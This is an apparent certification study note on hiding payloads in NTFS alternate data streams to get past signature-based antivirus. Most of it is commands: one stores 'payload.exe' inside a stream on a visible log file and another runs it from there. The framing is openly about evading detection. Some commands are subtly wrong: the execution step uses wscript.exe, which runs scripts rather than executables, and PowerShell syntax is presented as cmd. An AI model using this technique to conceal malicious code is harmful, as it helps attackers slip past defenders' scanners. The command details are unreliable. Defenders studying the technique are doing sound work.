Skip to content
Home

Alternate Data Streams: hiding payloads in NTFS

Store and execute malicious code inside hidden NTFS file streams to evade signature-based AV scanners.

bash·1 min read··INE Certification

NTFS files can carry hidden alternate data streams: forks attached to a file that are invisible to dir/Explorer and not scanned by many static AV tools. This makes them useful for smuggling a payload past signature-based detection.

Creating a hidden stream

# Create a regular visible file
ni file.txt
echo "normal content" > file.txt

# Create a hidden stream on the same file
ni file.txt:secret.txt   # file.txt still shows its normal size in Explorer

# Open the hidden stream in Notepad
notepad file.txt:secret.txt

Storing and executing a payload

# Store a payload executable hidden inside a log file
type payload.exe > any_visible.log:payload.exe

# Execute the hidden payload from a Windows cmd.exe shell
wscript.exe C:\path\to\any_visible.log:payload.exe
  • The stream separator is the colon in file.txt:stream_name.
  • Size-based detection misses this completely because the parent file’s visible size doesn’t grow.
  • The technique defeats static signature scanners that read the main file body, but doesn’t really help against behavioral detection once the payload runs.